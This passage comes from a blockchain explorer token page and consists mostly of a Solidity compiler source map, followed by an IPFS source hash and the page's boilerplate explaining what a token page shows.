0:119;;;11218:79;;:::i;:::-;11180:119;11338:1;11363:64;11419:7;11410:6;11399:9;11395:22;11363:64;:::i;:::-;11353:74;;11309:128;11093:351;;;;:::o;11450:332::-;11571:4;11609:2;11598:9;11594:18;11586:26;;11622:71;11690:1;11679:9;11675:17;11666:6;11622:71;:::i;:::-;11703:72;11771:2;11760:9;11756:18;11747:6;11703:72;:::i;:::-;11450:332;;;;;:::o;11788:85::-;11833:7;11862:5;11851:16;;11788:85;;;:::o;11879:158::-;11937:9;11970:61;11988:42;11997:32;12023:5;11997:32;:::i;:::-;11988:42;:::i;:::-;11970:61;:::i;:::-;11957:74;;11879:158;;;:::o;12043:147::-;12138:45;12177:5;12138:45;:::i;:::-;12133:3;12126:58;12043:147;;:::o;12196:807::-;12445:4;12483:3;12472:9;12468:19;12460:27;;12497:71;12565:1;12554:9;12550:17;12541:6;12497:71;:::i;:::-;12578:72;12646:2;12635:9;12631:18;12622:6;12578:72;:::i;:::-;12660:80;12736:2;12725:9;12721:18;12712:6;12660:80;:::i;:::-;12750;12826:2;12815:9;12811:18;12802:6;12750:80;:::i;:::-;12840:73;12908:3;12897:9;12893:19;12884:6;12840:73;:::i;:::-;12923;12991:3;12980:9;12976:19;12967:6;12923:73;:::i;:::-;12196:807;;;;;;;;;:::o;13009:663::-;13097:6;13105;13113;13162:2;13150:9;13141:7;13137:23;13133:32;13130:119;;;13168:79;;:::i;:::-;13130:119;13288:1;13313:64;13369:7;13360:6;13349:9;13345:22;13313:64;:::i;:::-;13303:74;;13259:128;13426:2;13452:64;13508:7;13499:6;13488:9;13484:22;13452:64;:::i;:::-;13442:74;;13397:129;13565:2;13591:64;13647:7;13638:6;13627:9;13623:22;13591:64;:::i;:::-;13581:74;;13536:129;13009:663;;;;;:::o;13678:224::-;13818:34;13814:1;13806:6;13802:14;13795:58;13887:7;13882:2;13874:6;13870:15;13863:32;13678:224;:::o;13908:366::-;14050:3;14071:67;14135:2;14130:3;14071:67;:::i;:::-;14064:74;;14147:93;14236:3;14147:93;:::i;:::-;14265:2;14260:3;14256:12;14249:19;;13908:366;;;:::o;14280:419::-;14446:4;14484:2;14473:9;14469:18;14461:26;;14533:9;14527:4;14523:20;14519:1;14508:9;14504:17;14497:47;14561:131;14687:4;14561:131;:::i;:::-;14553:139;;14280:419;;;:::o;14705:176::-;14845:28;14841:1;14833:6;14829:14;14822:52;14705:176;:::o;14887:366::-;15029:3;15050:67;15114:2;15109:3;15050:67;:::i;:::-;15043:74;;15126:93;15215:3;15126:93;:::i;:::-;15244:2;15239:3;15235:12;15228:19;;14887:366;;;:::o;15259:419::-;15425:4;15463:2;15452:9;15448:18;15440:26;;15512:9;15506:4;15502:20;15498:1;15487:9;15483:17;15476:47;15540:131;15666:4;15540:131;:::i;:::-;15532:139;;15259:419;;;:::o;15684:225::-;15824:34;15820:1;15812:6;15808:14;15801:58;15893:8;15888:2;15880:6;15876:15;15869:33;15684:225;:::o;15915:366::-;16057:3;16078:67;16142:2;16137:3;16078:67;:::i;:::-;16071:74;;16154:93;16243:3;16154:93;:::i;:::-;16272:2;16267:3;16263:12;16256:19;;15915:366;;;:::o;16287:419::-;16453:4;16491:2;16480:9;16476:18;16468:26;;16540:9;16534:4;16530:20;16526:1;16515:9;16511:17;16504:47;16568:131;16694:4;16568:131;:::i;:::-;16560:139;;16287:419;;;:::o;16712:180::-;16760:77;16757:1;16750:88;16857:4;16854:1;16847:15;16881:4;16878:1;16871:15;16898:180;16946:77;16943:1;16936:88;17043:4;17040:1;17033:15;17067:4;17064:1;17057:15;17084:114;17151:6;17185:5;17179:12;17169:22;;17084:114;;;:::o;17204:184::-;17303:11;17337:6;17332:3;17325:19;17377:4;17372:3;17368:14;17353:29;;17204:184;;;;:::o;17394:132::-;17461:4;17484:3;17476:11;;17514:4;17509:3;17505:14;17497:22;;17394:132;;;:::o;17532:108::-;17609:24;17627:5;17609:24;:::i;:::-;17604:3;17597:37;17532:108;;:::o;17646:179::-;17715:10;17736:46;17778:3;17770:6;17736:46;:::i;:::-;17814:4;17809:3;17805:14;17791:28;;17646:179;;;;:::o;17831:113::-;17901:4;17933;17928:3;17924:14;17916:22;;17831:113;;;:::o;17980:732::-;18099:3;18128:54;18176:5;18128:54;:::i;:::-;18198:86;18277:6;18272:3;18198:86;:::i;:::-;18191:93;;18308:56;18358:5;18308:56;:::i;:::-;18387:7;18418:1;18403:284;18428:6;18425:1;18422:13;18403:284;;;18504:6;18498:13;18531:63;18590:3;18575:13;18531:63;:::i;:::-;18524:70;;18617:60;18670:6;18617:60;:::i;:::-;18607:70;;18463:224;18450:1;18447;18443:9;18438:14;;18403:284;;;18407:14;18703:3;18696:10;;18104:608;;;17980:732;;;;:::o;18718:720::-;18953:4;18991:3;18980:9;18976:19;18968:27;;19005:79;19081:1;19070:9;19066:17;19057:6;19005:79;:::i;:::-;19131:9;19125:4;19121:20;19116:2;19105:9;19101:18;19094:48;19159:108;19262:4;19253:6;19159:108;:::i;:::-;19151:116;;19277:72;19345:2;19334:9;19330:18;19321:6;19277:72;:::i;:::-;19359;19427:2;19416:9;19412:18;19403:6;19359:72;:::i;:::-;18718:720;;;;;;;:::o;19444:442::-;19593:4;19631:2;19620:9;19616:18;19608:26;;19644:71;19712:1;19701:9;19697:17;19688:6;19644:71;:::i;:::-;19725:72;19793:2;19782:9;19778:18;19769:6;19725:72;:::i;:::-;19807;19875:2;19864:9;19860:18;19851:6;19807:72;:::i;:::-;19444:442;;;;;;:::o;19892:223::-;20032:34;20028:1;20020:6;20016:14;20009:58;20101:6;20096:2;20088:6;20084:15;20077:31;19892:223;:::o;20121:366::-;20263:3;20284:67;20348:2;20343:3;20284:67;:::i;:::-;20277:74;;20360:93;20449:3;20360:93;:::i;:::-;20478:2;20473:3;20469:12;20462:19;;20121:366;;;:::o;20493:419::-;20659:4;20697:2;20686:9;20682:18;20674:26;;20746:9;20740:4;20736:20;20732:1;20721:9;20717:17;20710:47;20774:131;20900:4;20774:131;:::i;:::-;20766:139;;20493:419;;;:::o;20918:221::-;21058:34;21054:1;21046:6;21042:14;21035:58;21127:4;21122:2;21114:6;21110:15;21103:29;20918:221;:::o;21145:366::-;21287:3;21308:67;21372:2;21367:3;21308:67;:::i;:::-;21301:74;;21384:93;21473:3;21384:93;:::i;:::-;21502:2;21497:3;21493:12;21486:19;;21145:366;;;:::o;21517:419::-;21683:4;21721:2;21710:9;21706:18;21698:26;;21770:9;21764:4;21760:20;21756:1;21745:9;21741:17;21734:47;21798:131;21924:4;21798:131;:::i;:::-;21790:139;;21517:419;;;:::o;21942:179::-;22082:31;22078:1;22070:6;22066:14;22059:55;21942:179;:::o;22127:366::-;22269:3;22290:67;22354:2;22349:3;22290:67;:::i;:::-;22283:74;;22366:93;22455:3;22366:93;:::i;:::-;22484:2;22479:3;22475:12;22468:19;;22127:366;;;:::o;22499:419::-;22665:4;22703:2;22692:9;22688:18;22680:26;;22752:9;22746:4;22742:20;22738:1;22727:9;22723:17;22716:47;22780:131;22906:4;22780:131;:::i;:::-;22772:139;;22499:419;;;:::o;22924:224::-;23064:34;23060:1;23052:6;23048:14;23041:58;23133:7;23128:2;23120:6;23116:15;23109:32;22924:224;:::o;23154:366::-;23296:3;23317:67;23381:2;23376:3;23317:67;:::i;:::-;23310:74;;23393:93;23482:3;23393:93;:::i;:::-;23511:2;23506:3;23502:12;23495:19;;23154:366;;;:::o;23526:419::-;23692:4;23730:2;23719:9;23715:18;23707:26;;23779:9;23773:4;23769:20;23765:1;23754:9;23750:17;23743:47;23807:131;23933:4;23807:131;:::i;:::-;23799:139;;23526:419;;;:::o;23951:222::-;24091:34;24087:1;24079:6;24075:14;24068:58;24160:5;24155:2;24147:6;24143:15;24136:30;23951:222;:::o;24179:366::-;24321:3;24342:67;24406:2;24401:3;24342:67;:::i;:::-;24335:74;;24418:93;24507:3;24418:93;:::i;:::-;24536:2;24531:3;24527:12;24520:19;;24179:366;;;:::o;24551:419::-;24717:4;24755:2;24744:9;24740:18;24732:26;;24804:9;24798:4;24794:20;24790:1;24779:9;24775:17;24768:47;24832:131;24958:4;24832:131;:::i;:::-;24824:139;;24551:419;;;:::o;24976:169::-;25116:21;25112:1;25104:6;25100:14;25093:45;24976:169;:::o;25151:366::-;25293:3;25314:67;25378:2;25373:3;25314:67;:::i;:::-;25307:74;;25390:93;25479:3;25390:93;:::i;:::-;25508:2;25503:3;25499:12;25492:19;;25151:366;;;:::o;25523:419::-;25689:4;25727:2;25716:9;25712:18;25704:26;;25776:9;25770:4;25766:20;25762:1;25751:9;25747:17;25740:47;25804:131;25930:4;25804:131;:::i;:::-;25796:139;;25523:419;;;:::o;25948:248::-;26088:34;26084:1;26076:6;26072:14;26065:58;26157:31;26152:2;26144:6;26140:15;26133:56;25948:248;:::o;26202:366::-;26344:3;26365:67;26429:2;26424:3;26365:67;:::i;:::-;26358:74;;26441:93;26530:3;26441:93;:::i;:::-;26559:2;26554:3;26550:12;26543:19;;26202:366;;;:::o;26574:419::-;26740:4;26778:2;26767:9;26763:18;26755:26;;26827:9;26821:4;26817:20;26813:1;26802:9;26798:17;26791:47;26855:131;26981:4;26855:131;:::i;:::-;26847:139;;26574:419;;;:::o;26999:241::-;27139:34;27135:1;27127:6;27123:14;27116:58;27208:24;27203:2;27195:6;27191:15;27184:49;26999:241;:::o;27246:366::-;27388:3;27409:67;27473:2;27468:3;27409:67;:::i;:::-;27402:74;;27485:93;27574:3;27485:93;:::i;:::-;27603:2;27598:3;27594:12;27587:19;;27246:366;;;:::o;27618:419::-;27784:4;27822:2;27811:9;27807:18;27799:26;;27871:9;27865:4;27861:20;27857:1;27846:9;27842:17;27835:47;27899:131;28025:4;27899:131;:::i;:::-;27891:139;;27618:419;;;:::o;28043:244::-;28183:34;28179:1;28171:6;28167:14;28160:58;28252:27;28247:2;28239:6;28235:15;28228:52;28043:244;:::o;28293:366::-;28435:3;28456:67;28520:2;28515:3;28456:67;:::i;:::-;28449:74;;28532:93;28621:3;28532:93;:::i;:::-;28650:2;28645:3;28641:12;28634:19;;28293:366;;;:::o;28665:419::-;28831:4;28869:2;28858:9;28854:18;28846:26;;28918:9;28912:4;28908:20;28904:1;28893:9;28889:17;28882:47;28946:131;29072:4;28946:131;:::i;:::-;28938:139;;28665:419;;;:::o;29090:410::-;29130:7;29153:20;29171:1;29153:20;:::i;:::-;29148:25;;29187:20;29205:1;29187:20;:::i;:::-;29182:25;;29242:1;29239;29235:9;29264:30;29282:11;29264:30;:::i;:::-;29253:41;;29443:1;29434:7;29430:15;29427:1;29424:22;29404:1;29397:9;29377:83;29354:139;;29473:18;;:::i;:::-;29354:139;29138:362;29090:410;;;;:::o;29506:180::-;29554:77;29551:1;29544:88;29651:4;29648:1;29641:15;29675:4;29672:1;29665:15;29692:185;29732:1;29749:20;29767:1;29749:20;:::i;:::-;29744:25;;29783:20;29801:1;29783:20;:::i;:::-;29778:25;;29822:1;29812:35;;29827:18;;:::i;:::-;29812:35;29869:1;29866;29862:9;29857:14;;29692:185;;;;:::o;29883:194::-;29923:4;29943:20;29961:1;29943:20;:::i;:::-;29938:25;;29977:20;29995:1;29977:20;:::i;:::-;29972:25;;30021:1;30018;30014:9;30006:17;;30045:1;30039:4;30036:11;30033:37;;;30050:18;;:::i;:::-;30033:37;29883:194;;;;:::o;30083:182::-;30223:34;30219:1;30211:6;30207:14;30200:58;30083:182;:::o;30271:366::-;30413:3;30434:67;30498:2;30493:3;30434:67;:::i;:::-;30427:74;;30510:93;30599:3;30510:93;:::i;:::-;30628:2;30623:3;30619:12;30612:19;;30271:366;;;:::o;30643:419::-;30809:4;30847:2;30836:9;30832:18;30824:26;;30896:9;30890:4;30886:20;30882:1;30871:9;30867:17;30860:47;30924:131;31050:4;30924:131;:::i;:::-;30916:139;;30643:419;;;:::o;31068:225::-;31208:34;31204:1;31196:6;31192:14;31185:58;31277:8;31272:2;31264:6;31260:15;31253:33;31068:225;:::o;31299:366::-;31441:3;31462:67;31526:2;31521:3;31462:67;:::i;:::-;31455:74;;31538:93;31627:3;31538:93;:::i;:::-;31656:2;31651:3;31647:12;31640:19;;31299:366;;;:::o;31671:419::-;31837:4;31875:2;31864:9;31860:18;31852:26;;31924:9;31918:4;31914:20;31910:1;31899:9;31895:17;31888:47;31952:131;32078:4;31952:131;:::i;:::-;31944:139;;31671:419;;;:::o;32096:815::-;32351:4;32389:3;32378:9;32374:19;32366:27;;32403:71;32471:1;32460:9;32456:17;32447:6;32403:71;:::i;:::-;32484:72;32552:2;32541:9;32537:18;32528:6;32484:72;:::i;:::-;32603:9;32597:4;32593:20;32588:2;32577:9;32573:18;32566:48;32631:108;32734:4;32725:6;32631:108;:::i;:::-;32623:116;;32749:72;32817:2;32806:9;32802:18;32793:6;32749:72;:::i;:::-;32831:73;32899:3;32888:9;32884:19;32875:6;32831:73;:::i;:::-;32096:815;;;;;;;;:::o
Swarm Source
ipfs://fa1c59bf846322546d052a27d2abd3412e0fe42cc8d34239284775c456ce8dbe
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.